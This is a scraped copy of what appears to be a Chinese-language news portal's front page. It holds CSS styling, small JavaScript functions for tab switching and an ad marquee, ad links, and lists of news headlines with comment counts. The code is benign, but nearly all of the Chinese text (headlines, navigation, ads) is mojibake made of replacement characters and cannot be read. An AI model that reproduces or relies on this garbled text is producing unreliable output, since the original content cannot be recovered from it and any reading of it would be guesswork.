auto;\r\n\tpadding: 0 0px;\r\n\twidth: 226px;\r\n}\r\n.bloggerguideHeader\r\n{\r\n\tbackground: #3B5998 url(images/2011/bloggerguide_bg.gif);\r\n\tcolor: #3B5998;\r\n\tfloat: right;\r\n\theight: 40px;\r\n\tmargin: 0 auto;\r\n\tpadding: 0 0px;\r\n\twidth: 226px;\r\n}\r\n.groupguideHeader\r\n{\r\n\tbackground: #3B5998 url(images/2011/groupguide_bg.gif);\r\n\tcolor: #3B5998;\r\n\theight: 40px;\r\n\tmargin: 0 auto;\r\n\tpadding: 0 0px;\r\n\twidth: 302px;\r\n}\r\n.blogguideBorder\r\n{\r\n\tOVERFLOW: hidden;\r\n\tPADDING-BOTTOM: 0px;\r\n\tPADDING-LEFT: 12px;\r\n\tPADDING-RIGHT: 10px;\r\n\tPADDING-TOP: 0px;\r\n\tZOOM: 1;\r\n}\r\n.blogguideLogo\r\n{\r\n\tFLOAT: left;\r\n\tHEIGHT: 40px;\r\n\tLINE-HEIGHT: 42px;\r\n\tmargin: 2px 2px 0 0;\r\n\tOVERFLOW: hidden;\r\n}\r\n.blogguideLogo SPAN\r\n{\r\n\tDISPLAY: block;\r\n\tFLOAT: left;\r\n\tFONT-FAMILY: Arial;\r\n\tHEIGHT: 40px;\r\n\toverflow: hidden;\r\n\tPADDING-RIGHT: 12px;\r\n}\r\n.blogguideMiddle\r\n{\r\n\tborder-left: 1px solid #819ECE;\r\n\tborder-right: 1px solid #819ECE;\r\n\tFLOAT: left;\r\n\tmargin: 0 auto;\r\n\twidth: 300px;\r\n}\r\n.blogguideMiddle .blogline0 {\r\nbackground:#E4EBE3;padding-top:2px; padding-bottom:2px;\r\n}\r\n.allblogguide\r\n{\r\n\tclear: both;\r\n\tfont-family: ����,SimSun;\r\n\tfont-size: 13px;\r\n\tline-height: 120%;\r\n\toverflow: hidden;\r\n\tpadding: 0;\r\n\t\twidth:100%\r\n}\r\n.allblogguide .updated\r\n{\r\n\tcolor: red;\r\n\tfont-size: 12px;\r\n\tvertical-align: super;\r\n}\r\n.allblogguide UL\r\n{\r\n\tBACKGROUND: #BFD2EE url(css/2010/gsprite_pg.png) repeat-x;\r\n\tborder-bottom: 0px solid #ccc;\r\n\tpadding: 0;\r\n}\r\n.allblogguide .bloggerline0 {\r\nbackground:#E4EBE3;padding-top:2px; padding-bottom:2px;\r\n}\r\n.allblogguide LI\r\n{\r\n\tbackground: url(/css/2010/newli.gif) left no-repeat;\r\n\tclear: both;\r\n\tcolor: #696969;\r\n\tfont-size: 13px;\r\n\tline-height: 24px;\r\n\tlist-style-type: none;\r\n\tmargin-left: 5px;\r\n\tmargin-right: 5px;\r\n\toverflow: hidden;\r\n\tpadding-left: 15px;\r\n\tpadding-right: 10px;\t\r\n\ttext-align: left;\r\n\ttext-overflow: ellipsis;\r\n\twhite-space: nowrap;\r\n}\r\n.allblogguide LI a\r\n{\r\n\ttext-decoration: none;\r\n}\r\n.allblogguide .line0 {\r\nbackground:#E4EBE3;padding-top:2px; padding-bottom:2px;\r\n}\r\n.allblogguide LI .new\r\n{\r\n\tbackground: url(/images/havenew.gif) no-repeat right top;\r\n\tcolor: blue;\r\n\tpadding-right: 25px;\r\n}\r\n.allblogguide LI a:hover\r\n{\r\n\ttext-decoration: underline;\r\n}\r\n.allblogguide LI .more\r\n{\r\n\tfont-size: 12px;\r\n\tposition: absolute;\r\n\tright: 10px;\r\n\ttext-decoration: none;\r\n}\r\n.allblogguide LI SPAN\r\n{\r\n\tcolor: #1f3a87;\r\n\tfont-size: 12px;\r\n\tline-height: 19px;\r\n}\r\n.allblogguide LI SPAN A:hover\r\n{\r\n\tcolor: red;\r\n\tfont-size: 14px;\r\n\ttext-decoration: underline;\r\n}\r\n.allblogguide LI A.newsad:visited\r\n{\r\n\tcolor: #00f;\r\n\ttext-decoration: none;\r\n}\r\n.blogguideBottomMore\r\n{\r\nbackground-image: url(/css/2010/podbottom.gif);\t\r\n\tfloat: left;\r\n\theight: 32px;\r\n\twidth: 302px;\r\n\ttext-align: right;\r\n}\r\n.blogguideBottomMore a { \r\n\ttext-decoration: none;\r\n\tbackground: transparent url(/css/2010/carrot_s.gif) no-repeat;\r\n\tbackground-position: 0 9px;\r\n\tcolor: #0000FF;\r\n\tpadding: 5px 10px 0 10px;\r\n\tposition: relative;\r\n\ttop: 4px;\r\n\tfloat: right;\r\n}\r\n.blogguideBottomMore a:hover { color: red; text-decoration: underline; }\r\n\r\n.blogguideBottom\r\n{\r\n\tbackground: url(images/2011/bogguide_bot.gif) no-repeat;\r\n\tfloat: left;\r\n\theight: 7px;\r\n\tmargin: 0 auto;\r\n\twidth: 302px;\r\n}\r\n\r\n.rightguideBottom\r\n{\r\n\tbackground: url(images/2011/rightguide_bot.gif) no-repeat;\r\n\tfloat: left;\r\n\theight: 7px;\r\n\tmargin: 0 auto;\r\n\twidth: 226px;\r\n}\r\n.colLnavbar\r\n{\r\n\tborder-bottom: 1px solid #006633;\r\n\theight: 27px;\r\n\tmargin-left: 1px;\r\n\tpadding-left: 5px;\r\n\tposition: relative;\r\n\twidth: 290px;\r\n\tz-index: 2;\r\n}\r\n.colLnavbar h3.tj\r\n{\r\n\t_bottom: -1px;\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 -38px;\r\n\tcolor: green;\r\n\tfloat: left;\r\n\tfont: bold 14px/27px \"����\";\r\n\theight: 28px;\r\n\tposition: relative;\r\n\ttext-align: center;\r\n\twidth: 85px;\r\n}\r\n.colMnavbar\r\n{\r\n\tborder-bottom: 1px solid #006633;\r\n\theight: 27px;\r\n\tmargin-left: 3px;\r\n\tpadding-left: 9px;\r\n\tposition: relative;\r\n\twidth: 385px;\r\n\tz-index: 2;\r\n}\r\n.colMnavbar h3.tj\r\n{\r\n\t_bottom: -1px;\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 -38px;\r\n\tcolor: green;\r\n\tfloat: left;\r\n\tfont: bold 14px/27px \"����\";\r\n\theight: 28px;\r\n\tposition: relative;\r\n\ttext-align: center;\r\n\twidth: 85px;\r\n}\r\n.colRnavbar\r\n{\r\n\tborder-bottom: 1px solid #006633;\r\n\theight: 23px;\r\n\tmargin-bottom: 5px;\r\n\tmargin-left: 0px;\r\n\tmargin-top: 0px;\r\n\tpadding-left: 8px;\r\n\tposition: relative;\r\n\twidth: 210px;\r\n\tz-index: 2;\r\n}\r\n.colRnavbar h3.tj\r\n{\r\n\t_bottom: -1px;\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat -84px -38px;\r\n\tcolor: green;\r\n\tfloat: left;\r\n\tfont: bold 13px/25px \"����\";\r\n\theight: 24px;\r\n\tposition: relative;\r\n\ttext-align: center;\r\n\twidth: 70px;\r\n}\r\n\r\n.colNav\r\n{\r\n\t_bottom: -1px;\r\n\tfloat: left;\r\n\theight: 27px;\r\n\tposition: relative;\r\n\twidth: 223px;\r\n}\r\n.colNav li\r\n{\r\n\tfloat: left;\r\n\theight: 27px;\r\n\tlist-style-type: none;\r\n\tposition: relative;\r\n}\r\n.colNav li a\r\n{\r\n\tdisplay: block;\r\n\theight: 100%;\r\n\ttext-align: center;\r\n\twidth: 100%;\r\n}\r\n.colNav li a:hover\r\n{\r\n\ttext-decoration: none;\r\n}\r\n.colNav li.on1\r\n{\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 -38px;\r\n\theight: 28px;\r\n\twidth: 85px;\r\n}\r\n.colNav li.on2\r\n{\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat -85px -38px;\r\n\theight: 28px;\r\n\twidth: 69px;\r\n}\r\n.colNav li.on3\r\n{\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat -154px -38px;\r\n\theight: 28px;\r\n\twidth: 69px;\r\n}\r\n.colNav li.on1 a , .colNav li.on2 a , .colNav li.on3 a\r\n{\r\n\tcolor: green;\r\n\tfont: bold 14px/27px \"����\";\r\n\ttext-decoration: none;\r\n}\r\n.colNav li.onno1\r\n{\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 0;\r\n\theight: 27px;\r\n\twidth: 85px;\r\n}\r\n.colNav li.onno2\r\n{\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat -85px 0;\r\n\theight: 27px;\r\n\twidth: 69px;\r\n}\r\n.colNav li.onno3\r\n{\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat -154px 0;\r\n\theight: 27px;\r\n\twidth: 69px;\r\n}\r\n.colNav li.onno1 a , .colNav li.onno2 a , .colNav li.onno3 a\r\n{\r\n\tcolor: #0080c4;\r\n\tfont: bold 14px/27px \"����\";\r\n\ttext-decoration: none;\r\n}\r\n.colLnavbar a.more\r\n{\r\n\tcolor: blue;\r\n\tfloat: left;\r\n\tline-height: 14px;\r\n\tmargin-left: 10px;\r\n\tmargin-top: 8px;\r\n}\r\n.colLnavbar a.more:hover\r\n{\r\n\tcolor: blue;\r\n}\r\n.colLnavbar span.memo\r\n{\r\n\tcolor: blue;\r\n\tfloat: right;\r\n\theight: 20px;\r\n\tline-height: 20px;\r\n\tmargin-top: 5px;\r\n\tpadding-left: 3px;\r\n\ttext-align: left;\r\n}\r\n.colLnavbar span.memo a\r\n{\r\n\tcolor: blue;\r\n\tdisplay: block;\r\n\tfloat: right;\r\n\tline-height: 18px;\r\n\tmargin-right: 5px;\r\n\ttext-decoration: none;\r\n}\r\n.colLnavbar span.memo a:hover\r\n{\r\n\tcolor: red;\r\n}\r\n.colRnavbar span.memo\r\n{\r\n\tcolor: blue;\r\n\tfloat: right;\r\n\theight: 20px;\r\n\tline-height: 20px;\r\n\tmargin-top: 5px;\r\n\tpadding-left: 3px;\r\n\ttext-align: left;\r\n}\r\n.colRnavbar span.memo a\r\n{\r\n\tcolor: blue;\r\n\tdisplay: block;\r\n\tfloat: right;\r\n\tline-height: 18px;\r\n\tmargin-right: 5px;\r\n\ttext-decoration: none;\r\n}\r\n.colRnavbar span.memo a:hover\r\n{\r\n\tcolor: red;\r\n}\r\n.colMnavbar span.memo\r\n{\r\n\tcolor: blue;\r\n\tfloat: right;\r\n\theight: 20px;\r\n\tline-height: 20px;\r\n\tmargin-top: 5px;\r\n\tpadding-left: 3px;\r\n\ttext-align: left;\r\n}\r\n.colMnavbar span.memo a\r\n{\r\n\tcolor: blue;\r\n\tdisplay: block;\r\n\tfloat: right;\r\n\tline-height: 18px;\r\n\tmargin-right: 5px;\r\n\ttext-decoration: none;\r\n}\r\n.colMnavbar span.memo a:hover\r\n{\r\n\tcolor: red;\r\n}\r\n\r\n.breakline\r\n{\r\n\tclear: both;\r\n\theight:6px;\r\n\tline-height:6px;\r\n\tmargin:6px auto;\r\n\twidth: 100%;\r\n\tbackground: url(images/2009/shadowline.gif) no-repeat right;\r\n\r\n}\r\n.breakline2\r\n{\r\n\tclear: both;\r\n\theight:6px;\r\n\tline-height:6px;\r\n\tmargin:6px auto;\r\n\twidth: 100%;\r\n\tbackground: url(images/2009/shadowline2.gif) no-repeat right;\r\n\r\n}\r\n\r\n.sbreakline\r\n{\r\n\tclear: both;\r\n\theight:2px;\r\n\tline-height:2px;\r\n\tmargin:2px auto;\r\n\twidth: 100%;\r\n\tbackground: url(images/2009/sshadowline.gif) no-repeat right;\r\n}\r\n#bs-footer {\r\nheight: 32px;\r\nwidth: 300px;\r\nbackground-image: url(/css/2010/podbottom.gif);\r\ntext-align: right;\r\nmargin-bottom: 10px;\r\n}\r\n#bs-footer a { \r\n\ttext-decoration: none;\r\n\tbackground: transparent url(/css/2010/carrot_s.gif) no-repeat;\r\n\tbackground-position: 0 9px;\r\n\tcolor: #5a7d56;\r\n\tpadding: 5px 10px 0 10px;\r\n\tposition: relative;\r\n\ttop: 4px;\r\n\tfloat: right;\r\n}\r\n#bs-footer a:hover { text-decoration: underline; }\r\n#bs-book-link { display: inline;}\r\n.moreinfo{float:right; height:23px; line-height:23px; padding-right:10px;}\r\n.moreinfo a{ background:url(/css/2010/moreinfo.gif) no-repeat; width:50px; height:23px; display:block;}\r\n.moreinfol{float:right; height:23px; line-height:23px; padding-top:5px; padding-right:30px;}\r\n.moreinfol a{ background:url(/css/2010/moreinfo.gif) no-repeat; padding-top:5px; width:50px; height:23px; display:block;}\r\n\r\n/* newroll1 */\r\n.newroll1{ height:28px; background:url(/css/2010/bg_tabNav.png) no-repeat 0 0; margin-top:1px; position:relative; border-bottom: 1px solid #999;}\r\n.newroll1 li{ float:left; overflow:hidden; cursor: hand; list-style-type: none;}\r\n.newroll1 li span{ display:block; float:left; text-indent:-10000px; }\r\n.newroll1 li.onno1{ width:113px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat 0 0; position:absolute; left:0; }\r\n.newroll1 li.onno2{ width:111px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat -112px 0; position:absolute; left:112px;}\r\n.newroll1 li.onno3{ width:97px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat -222px 0; position:absolute; left:222px;}\r\n.newroll1 li.on1{ width:113px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat 0 -33px; position:absolute; left:0; }\r\n.newroll1 li.on2{ width:111px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat -112px -33px; position:absolute; left:112px; }\r\n.newroll1 li.on3{ width:97px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat -222px -33px; position:absolute; left:222px; }\r\n\r\n.tips{ width:100%; padding:10px; height:26px; overflow:hidden; font:normal 16px/28px \"����\"; color:#c00; }\r\n.tmore{ position:absolute; right:18px; top:8px; }\r\n.tmore_g{ background:url(css/2010/ico_arr_g.png) no-repeat right 1px; padding-right:15px; color:#000; }\r\n.newsMidbar\r\n{\r\n\t\r\n\theight: 28px;\r\n\tposition: relative;\r\n\twidth: 430px;\r\n\tz-index: 2;\r\n}\r\n.newsMidbar h3.tj\r\n{\r\n\t_bottom: -1px;\r\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 -38px;\r\n\tcolor: green;\r\n\tfloat: left;\r\n\tfont: bold 14px/27px \"����\";\r\n\theight: 29px;\r\n\tposition: relative;\r\n\ttext-align: center;\r\n\twidth: 85px;\r\n}\r\n\r\n.focusInterview{\r\n\r\n}\r\n\r\n.rollnewsMore\r\n{\r\nbackground-image: url(/css/2010/podbottom_rollnews.gif);\t\r\n\tfloat: left;\r\n\theight: 32px;\r\n\twidth: 100%;\r\n\ttext-align: right;\r\n}\r\n.rollnewsMore a { \r\n\ttext-decoration: none;\r\n\tbackground: transparent url(/css/2010/carrot_s.gif) no-repeat;\r\n\tbackground-position: 0 12px;\r\n\tcolor: #0000FF;\r\n\tpadding: 8px 10px 0 10px;\r\n\tposition: relative;\r\n\ttop: 4px;\r\n\tfloat: right;\r\n}\r\n.rollnewsMore a:hover { color: red; text-decoration: underline; }\r\n.rollnewsMore a.new  {font-weight: bold;}\r\n.morecat\r\n{\r\nbackground: url(/css/2010/podbottom_morecatnews.gif) no-repeat right;\t\r\n\tfloat: right;\r\n\theight: 30px;\r\n\twidth:60%;\r\n\ttext-align: left;\r\n}\r\n.morecat a { \r\n\ttext-decoration: none;\r\n\tcolor: #0000FF;\r\n\tpadding: 8px 0px 0 10px;\r\n\tposition: relative;\r\n\ttop: 4px;\r\n\tfont-size:12px;\r\n\tfloat: left;\r\n}\r\n.morecat a:hover { color: red; text-decoration: underline; }\r\n\r\n.morecat b { \r\n\ttext-decoration: none;\r\n\tcolor: #333;\r\n\tpadding: 8px 0px 0 0px;\r\n\tposition: relative;\r\n\tfloat: left;\r\n}\r\n\r\n.morecatnews\r\n{\r\n\tfloat: left;\r\n\theight: 30px;\r\n\ttext-align: left;\r\n\twidth:30%;\r\n}\r\n.morecatnews a { \r\n\ttext-decoration: none;\r\n\tcolor: #0000FF;\r\n\tpadding: 8px 0px 0px 5px;\r\n\tposition: relative;\r\n\ttop: 4px;\r\n\tleft:30px;\r\n\tfont-size:12px;\r\n\tfloat: left;\r\n}\r\n.morecatnews a:hover { color: red; text-decoration: underline; }\r\n\r\n.morecatnews b { \r\n\ttext-decoration: none;\r\n\tcolor: #0000FF;\r\n\tpadding: 8px 0px 0px 0px;\r\n\tposition: relative;\r\n\tleft:30px;\r\n\tfloat: left;\r\n}\r\n\r\n-->\r\n\r\n\r\n<!--[if lte IE 7]>\r\n<style>\r\n.newsList ul li {line-height:24px;}\r\n.rankList ul li {line-height:24px;}\r\n</style>\r\n<![endif]-->\r\n \r\nfunction $(o){return document.getElementById(o);}\r\nfunction li_Div_Init(chl){\r\nvar len = $(chl).getElementsByTagName(\"li\").length\r\nfor (var i = 1 ; i <= len ; i ++ ){\r\n$(chl+\"_t_\"+i).className= \"onno\"+ i;\r\n$(chl+\"_b_\"+i).style.display=\"none\";\r\n}\t\r\n}\r\nfunction changeDivs2(chl,param){\r\nli_Div_Init(chl);\r\n$(chl+\"_t_\"+param).className= \"on\"+ param;\r\n$(chl+\"_b_\"+param).style.display=\"block\";\r\n}\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n��½���Ǵ�\r\n������\r\n����\r\n��������\r\n���� \r\n&raquo; ����\r\n\t\r\n\r\n�����ղ�\r\n��Ϊ��ҳ\r\n\r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n</form>\r\n\r\n\r\n\t\t\r\n\t\t\r\n\t\r\n\r\n\r\n   \r\n     \r\n     \t\r\n     \t\t    \r\n           \r\n       \r\n\r\n\r\n\r\n  \r\n\r\n\r\n<!-- /menu -->\r\n\r\n\r\n\t��������ҳ\r\n\tȫ���Ѷ\r\n\t���Ǵ岩��\t\r\n\t�ȵ���̳\r\n\t������΢��\r\n\tͬ������\r\n\t����ר��\r\n\tͶƱ���\t\r\n\t�����Ȱ�\r\n\t�ȼ۹���\t\r\n\r\n\r\n\r\n\r\n�����Ϣ��\r\n������Ʒ���� \r\nס����Ϣ \r\n����� \r\n��ְ��Ƹ \r\n������Ϣ\r\n�������� \r\n&nbsp;&nbsp;&nbsp;\r\n��ѷ�����\r\n������Ʒ���� \r\nס����Ϣ \r\n����� \r\n��ְ��Ƹ \r\n������Ϣ\r\n�������� \r\n\r\n\r\n\r\n\t\t\t\r\n\t\t����̨ʱ�䣺11��9��17ʱ39�� ������ �й�ũ����10��14�� \r\n\t\r\n<!--\r\nvar marquee_txt=new Array(); var marquee_link=new Array();\r\n\r\n\r\nmarquee_txt[0]=\"�ع��������!�����˲ζԱ������������ر��Żݡ� Coupon���룺bc1811 \";\r\nmarquee_link[0]=\"http://ads.backchina.com/database/www/delivery/ck.php?oaparams=2__bannerid=96__zoneid=4\";\r\n\r\nmarquee_txt[1]=\"����Ρ���̥�̡���������֬200�����������ý�����Ʒ��ȫ���ؼۣ��ɴ˽�����1-888-915-5888)\";\r\nmarquee_link[1]=\"http://megahealthca.com/osc/catalog/index.php?language=zh\";\r\n\r\nvar num = Math.random() * 10\r\nif (num >= 0 && num <=5) num = 0\r\nif (num > 5 && num <=10) num = 1\r\n\r\nif (marquee_txt[num]!=\"\"){\r\n\tdocument.write('<marquee border=\"0\" scrolldelay=\"30\"  scrollamount=\"3\" turespeed=\"true\" onMouseOver=\"javascript: this.stop();\" onMouseOut=\"javascript: this.start();\"><a href=\"'+marquee_link[0]+'\" class=\"sublinks\">'+marquee_txt[0]+'</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"'+marquee_link[1]+'\" class=\"sublinks\">'+marquee_txt[1]+'</a></marquee>');\r\n}\r\n//-->\r\n \r\n\r\n\r\n\r\n<!-- /end menu -->   \t\r\n  \r\n\r\n  <!--��Ҫ����-->\r\n  \r\n\r\n\r\n\r\n\r\n<!--    start the first screen   -->\r\n\r\n<!-- start the first screen --> \r\n\r\n\r\n<!-- start right -->\r\n\r\n\t\r\n\r\n\r\n\r\n\r\n<!-- start news part1 -->\r\n\r\n\r\n\r\n\r\n    \r\n     \r\n      \r\n      �����ȵ� \r\n       \r\n      \r\n      \t�ȵ����\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\t\r\n\r\nΪ���ܶ�����ֲ���ǻң�֪���߳Ƶ�ʱ����˵ 49 ����\r\n��ž�פ������ʿ��Яǹ��795���ӵ����� 3�˱�����. 83 ����\r\n�����人������۽�ž��뾯����ͻ ��ʮ�������� 38 ����\r\nЯǹ����ʿ����ϸ������¶ �����ڱ����� ��������һ. 32 ����\r\n48�����ӵ�29����Ž��� ���׶�С������˽�����ع�.. 7 ����\r\n��¶����¶����¶¶�����ľ���д�� �����������ջ�.. 9 ����\r\n��ϷУ����ٳ�ع�д�� ���ص�������� ��������(��. \r\n���к�����ѷһ����,��$600Amazon��ȯ,12/15ֹ\r\n��������Ҽҵĺ�԰��������ʰ����...(��ͼ�� ����˵�������ף�������ű�ǿ�������Ҳ�����Ӳ��� ������������ã��������һ�룬�����������׽�Ų� \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n        \t \r\n        \r\n\r\n        \r\n \r\nvar netid,netid2,pic_id2;\r\nfunction ShowLi(netid){\r\nvar w; \r\nfor ( w=1; w<=3; w++ ){\r\ndocument.getElementById(\"dbtl_t_\"+w).className = \"onno\"+ w;\r\ndocument.getElementById(\"dbtl_b_\"+w).style.display = \"none\";\r\n}\r\ndocument.getElementById(\"dbtl_t_\"+netid).className = \"on\"+ netid;\r\ndocument.getElementById(\"dbtl_b_\"+netid).style.display = \"\";\r\n} \r\nfunction ClearTime(){\r\nclearTimeout(pic_id2);\r\n}\r\nfunction DelayShow(netid2){\r\nClearTime();\r\nif(netid2=='1')\r\npic_id2 = setTimeout(\"ShowLi(1)\",300);\r\nif(netid2=='2')\r\npic_id2 = setTimeout(\"ShowLi(2)\",300);\r\nif(netid2=='3')\r\npic_id2 = setTimeout(\"ShowLi(3)\",300);\r\n}\r\n \r\n\r\n\r\n\r\n<!--ȫ���Ѷ-->\r\n<!--48Сʱ�ȵ�-->\r\n<!--��������-->\r\n����\r\n\r\n\r\n\r\n\r\n\t\r\n\r\n\r\n\tͼƬ\r\n\t����Ƭ\r\n\t����\t\t\t\t\r\n\t\t�ǲ�˹\t\t\r\n\t\tռ�컪����\r\n\t\t������ר�� \r\n\r\n\r\n\t\r\n\t480P vs. 720P, �e�����ٸ��塱����\r\n\r\n\r\n\t\t<!-- \r\n\t\t//\t\r\n\t\t//\t\t<li><a class=newsad href=\"http://www.kylintv.com/kylintv/servlets/refer/BAC3?utm_source=Backchina&utm_medium=textlink&utm_campaign=Summer\">���ӡ���ˡ���ͯ��90���и�̨����Ƶ����ѿ�</a></li>\r\n\r\n\t\t<li><a class=newsad href=\"http://ads.backchina.com/database/www/delivery/ck.php?oaparams=2__bannerid=37__zoneid=3\" target=\"_blank\">��������һ����������Լ��ɡ����Ȳ������Ŀ��ѿ�\r\n</a></li> \r\n\r\n <li><a class=newsad href=\"http://my.backchina.com/quickpost.php\">����Ϣ����ѷ������,������Ϣ,��������,�ⷿ���,��Ƹ��</a></li> \r\n\t\t\t<li><a class=newsad href=\"http://ads.backchina.com/database/www/delivery/ck.php?oaparams=2__bannerid=37__zoneid=3\" target=\"_blank\"> 88���и�̨Ƶ���� 14 ��������߹ۿ����ĵ��ӣ������μӣ�</a></li>    -->\r\n��ž�4���ӱ�����4������ ����ſ�������׼�������� \r\n��ž�פ��������ʿ����ǹ��������ϸ���ع� ��·�Ͻ��� \r\n�й�����֮��־Ը�߹����ܱ����� ���ؼ���ͷ������(��ͼ) \r\n�����������������Ŵ�ʼ������Ļ���ױ���9280����Ԫ \r\ný�帱�ܱ����ö����Ǩ�����⹫���־��ٶ�����в���� \r\n�ع��������ģ��ع�����ع���Ʊ���ع�ǩ֤һվ�㶨��ž����ۺ����ܲ��Ƿ���ֳ��ʩ ������Ӿ�����Ա(��ͼ) \r\n���춫���������˹��ɨ�� ���϶��ҿ����θ�ñ ����. 6 ����\r\n���ӷ��վ�����Һ��� ҽ��˺�Ĳ�����ֻ����д�ò��ÿ� \r\n�й���·�����г���Ԥ��5�Ųм���Ʊ �����е�����Ż� \r\n������ͷ�µ���Ź��м��� �����ټ���Ⱥ��Χ�۶µ�(ͼ) \r\n�ж��Ż��ͽ���-���Թǽ�ԭ�������ء���յ�ء���øQ10��¬˹����Ϊ��������ծ���� ������ʥ��ȻлĻ��̳.. 2 ����\r\n������������˽�޻�ֻ����1992�� ������������Ϊ��. 3 ����\r\n����Ӱ�ӣ��й������ҵ�������ɥ���� ��������(��. 2 ����\r\n�Ϸǻع��������ģ�����ѹ�������� �ٵ�һ�껹һ����. 5 ����\r\n�ڶ���ŦԼ�й���Ӱ�ڿ��� �����ɳ����ߺ�̺(������. 2 ����\r\n��Ч����Ӳ���������ר���Ǿ���/��Ѫͨ����ǿ���¹�ϣ�����ٷ��� ����֧��������ס��ģ�����ٶȱ��� \r\n����Ͷ��160������Ź��̲��ת�� ��ʩ����ֻʣ��25. 6 ����\r\n\r\n\r\n<!-- /end news part1 --> \r\n<!-- start news part1 -->\r\n\r\n\t\r\n�����˲�����ƿ���칫¥��Χ�� ������300��ͬʱ�칫. 2 ����\r\n����ʷѧ�ҵ�ʬ��� 26��Ůʬ�ؼ��� ����ͬ˯(��/. 7 ����\r\n��ʮ����ͼΪ��չ�ֽ���ı���  ��ɫ�����ڽ�ɫ�ĺ���ͼ�� \r\n������У�Խ�ϴ��쾫�ɺ��Ϲ������� �ѿ�ҧ�й�һ. 12 ����\r\nͶ���������ʿ��������ʵ¼���޵ÿ��°�ĭ����ʧ��. 16 ����\r\n5���к�������ײ���� ĸ��·���¹���Ȱ�����ҽ����. 12 ����\r\nɱ���ֶ��ײ� �����������������������򸻺�������.. 3 ����\r\n�������è�壿���ӿ�����Ա ����ɼ�����һ�Ա�ˢ. 6 ����\r\n��������ѷ$625������$150�ֽ�+�ж���20%ˢ���ؿۣ�ͼ�������̰������������������� ����3��ƶ���سɸ���. 4 ����\r\n̨���һ��Ů��Ǿ�׳���ı��� �����̨ͬ�Ϳ�Է�.. 4 ����\r\n���ոߴ�ѡ���ھ����ɱ��ʬ������������������(��ͼ. 8 ����\r\n���������Ů��κ���߶ȴ�����д�� ��ձ���ȫ��.. 2 ����\r\n������ʾ�й�����˳ɲ�Ҫ������� ������������. 12 ����\r\n���������ӱ�ǿ�������������ֳ壺��ǰû����ɽ ֻ. 12 ����\r\n��ž��վ�װ���о�Ժר�ҳ��ϼ�15���ػ����з��ɹ�(ͼ) \r\n��ý�ع�����ϼ16�갮Ů���� ���ưְ� 0%������.. 13 ����\r\n���޲��磺����Ϊй�߿��1����ͯ ����������������. 23 ����\r\n�����й���ө��һ�š��Ķ���˹�Ǽ�վ���������쳣. 6 ����\r\n2011��ɫ��������Ϯ����׼��������̨ý����½��ˮ䰴����������˽�����ɱ����̫Ѫ��.. 4 ����\r\n����������ơ�ͭȸ̨������������ ����լ�а�ܲ�(ͼ) \r\nһ����Ȥ����Ƭ�������ǣ����� ��ʱ����Ҫ�����Ƕȣ�ͼ�� \r\n������͡�������� ������̰���������̡���ִ����. 12 ����\r\n�׻ƴ����糤���ĸ���ڹ㶫��ı���� 16���ܽ��й�. 12 ����\r\n��δδ��������ͼ�˽������ʱ����������˷���֮. 33 ����\r\nһ���˶�ס�Ĳ㽨����ӡ��������39��������ʵ����.. 19 ����\r\n����΢��ɹ�Լ�10��ǰ�ĳɼ��� ���������̫�պ���(��ͼ) \r\n��������30������ǿ���� ���ѷ׷׷����Ʊ������Ρ�.. 4 ����\r\n���ô�ŷ���ɸ������֡�ˮ�֡� ����������Ƶ(ͼ/��Ƶ. 7 ����\r\n���ڡ��ľ���Яǹ���ӡ��ķ��ɷ��� �������ˣ���׽һ. 9 ����\r\n����˹��Ů����Ĵ�����ɫ �����Ҫ���ʯ��ȹ������(ͼ) \r\n�������Ϻ�̸�¹�ϣ���գ���Ҫ������ ���ٱ�Ů����. 11 ����\r\n��ʫʫ��ɫ��ȹ�Ը����� �ơ���������2����û̸��(��. 4 ����\r\n���������������������� ����ײɫĦ������(������ͼ. 3 ����\r\n����̨����ͷ����΢��Ӱ ���ճ��� �������ڼ�Ů��(��ͼ) \r\nɽ�������ྯ������ ץ�����γ�ǹ�ܲ�Ϯ�������ͷĿ. 3 ����\r\n�ǻ��ڷ��������е��й����а��죺��Ҳ���ǵ�Ҳ����. 9 ����\r\n\r\n\r\n\r\n\r\n\t&nbsp; \r\n        ȫ���Ѷ�ڶ�ҳ(Next 60)\r\n        \t\t   \r\n        \t\t \r\n        \t\t         \t\r\n\r\n\r\n    \r\n     \r\n      \r\n      ��ǰ�ȵ� \r\n      ���а� \r\n      1�� \r\n      \r\n      2�� \r\n      \r\n      �� \r\n      \r\n            ����                         \r\n      \r\n    \r\n  \r\n\r\n\r\n\t\r\n\r\nר��С��ȫ����� �������ɽҽԺ���������������. 65 ����\r\n���вŵ�ѧ��  ����д1000�鵥�ʣ�û���⣬���ҵģ���ͼ�� \r\n���������ǽ�¶ƭ�ֵ�ʱ���� ������й����õ�����. 35 ����\r\n�¼��º��𾪣��й�����Я�޿��ȥ �������쾯�� 28 ����\r\n���ԣ�������С����˽�����ع� �������β�������. 22 ����\r\nŮ����һƶ��ϴ С͵���ҵ������� Ȱ��ҪŬ��׬Ǯ.. 31 ����\r\n�ѱ��߳ɹ����Ѽ»���Ա���ǹ��������Ƶ�����ع�.. 52 ����\r\nǿ�鶾��Ů�� ʩ��������Ա���ɷ�Сѧͬѧ ������Ա. 49 ����\r\n�绪�����������ܶ���������Ư����Ů��Ա(��ͼ) 16 ����\r\n\t\r\n\r\n\r\n\r\n\r\n\r\n 